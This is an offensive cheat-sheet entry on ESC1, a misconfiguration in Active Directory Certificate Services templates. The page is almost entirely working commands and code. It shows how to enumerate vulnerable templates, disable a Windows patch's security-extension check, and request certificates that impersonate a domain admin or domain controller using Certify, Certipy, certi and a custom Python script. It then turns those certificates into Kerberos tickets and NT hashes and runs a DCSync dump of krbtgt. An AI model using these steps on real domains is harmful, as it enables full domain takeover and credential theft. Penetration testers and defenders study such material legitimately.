ESC1

Modifiable SAN + Smart Card Logon or Client Authentication or PKINIT Client Authentication EKUs

The vulnerable certificate template allows requesters to specify a SAN in the CSR as well as allows Smart Card Logon (1.3.6.1.4.1.311.20.2.2) or Client Authentication (1.3.6.1.5.5.7.3.2) or PKINIT Client Authentication (1.3.6.1.5.2.3.4) EKUs.

Enumerate

Find template with this misconfiguration with native Active Directory module:

PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'

Disable the KB5014754 Patch

Disable szOID_NTDS_CA_SECURITY_EXT extension checking (requires CertSvc restart):

Cmd > certutil.exe -setreg policy\DisableExtensionList +1.3.6.1.4.1.311.25.2

Exploit

Certutil

Certify

Request a certificate specifying the /altname as a domain admin:

Cmd > .\Certify.exe request /ca:CA01.megacorp.local\CorpCA /template:VulnTemplate /altname:DomAdmin

Convert .pem to a .pfx certificate:

$ openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

Request a TGT with the .pfx certificate:

Cmd > .\Rubeus.exe asktgt /domain:megacorp.local /dc:DC01.megacorp.local /user:DomAdmin /certificate:cert.pfx /password:Passw0rdPfx! /ptt

Certipy

Enroll a certificate with privileged subject in SAN:

$ certipy req -u [email protected] -p 'Passw0rd!' -target CA01.megacorp.local -ca CorpCA -template VulnTemplate -upn [email protected] -dc-ip 192.168.1.11
$ proxychains4 certipy req -u '[email protected]' -aes <AES_KEY> -ca CorpCA -target CA01.megacorp.local -target-ip 192.168.1.12 -template VulnTemplate -upn '[email protected]' -sid <DC01_SID> -ns 192.168.1.11 -dc-ip 192.168.1.11 -dns-tcp

Request TGT providing the certificate and get the corresponding NT hash automatically:

$ certipy auth -pfx administrator.pfx -domain megacorp.local -username administrator -dc-ip 192.168.1.11

Manually via web enrollment at /certsrv/certrqxt.asp:

certrqxt2pfx.py
from certipy.lib.certificate import (
    create_csr,
    create_pfx,
    csr_to_der,
    der_to_pem,
    pem_to_cert,
    cert_id_to_parts,
    get_identifications_from_certificate,
    get_object_sid_from_certificate
)
from certipy.lib.formatting import print_certificate_identifications

username = '[email protected]'
alt_upn  = '[email protected]'
alt_sid  = 'S-1-5-21-XXXXXXXXX-XXXXXXXXXX-XXXXXXXXX-1000'
template = 'ESC1'

csr, key = create_csr(
    username,
    alt_dns=None,
    alt_upn=alt_upn,
    alt_sid=alt_sid,
    key=None,
    key_size=2048,
    subject=None,
    renewal_cert=None,
    application_policies=[]
)

attributes = '\n'.join([f'CertificateTemplate:{template}', f'SAN:upn={alt_upn}'])

print(der_to_pem(csr_to_der(csr), "CERTIFICATE REQUEST"))
print(attributes)

# https://CA01.megacorp.local/certsrv/certnew.cer?ReqID=1337&Enc=b64
pem = b'''-----BEGIN CERTIFICATE-----
...
-----END CERTIFICATE-----'''

cert = pem_to_cert(pem)

identifications = get_identifications_from_certificate(cert)
print_certificate_identifications(identifications)

object_sid = get_object_sid_from_certificate(cert)
if object_sid is not None:
    print(f'[*] Certificate object SID is {repr(object_sid)}')
else:
    print('[!] Certificate has no object SID')

out, _ = cert_id_to_parts(identifications)
if out is None:
    out = username
out = out.rstrip('$').lower()

with open(f'{out}.pfx', 'wb') as f:
    f.write(create_pfx(key, cert))

print(f'[+] Saved certificate and private key to {out}.pfx')

certi

Enroll a certificate with privileged subject in SAN:

$ certi.py req megacorp.local/[email protected] CorpCA -k -n --dc-ip 192.168.1.11 --template VulnTemplate --alt-name 'DC01$'

Request TGT providing certificate:

$ base64 -w0 DC01.pfx > DC01.pfx.b64
$ python3 gettgtpkinit.py megacorp.local/'DC01$' -pfx-base64 `cat DC01.pfx.b64` -pfx-pass admin -dc-ip 192.168.1.11 DC01.ccache

Request NT hash providing TGT or DCSync:

$ KRB5CCNAME=DC01.ccache python3 getnthash.py megacorp.local/'DC01$' -dc-ip 192.168.1.11 -key <AS_REP_ENC_KEY>
$ KRB5CCNAME=DC01.ccache secretsdump.py DC02.megacorp.local -dc-ip 192.168.1.11 -just-dc-user 'MEGACORP\krbtgt' -k -no-pass

Last updated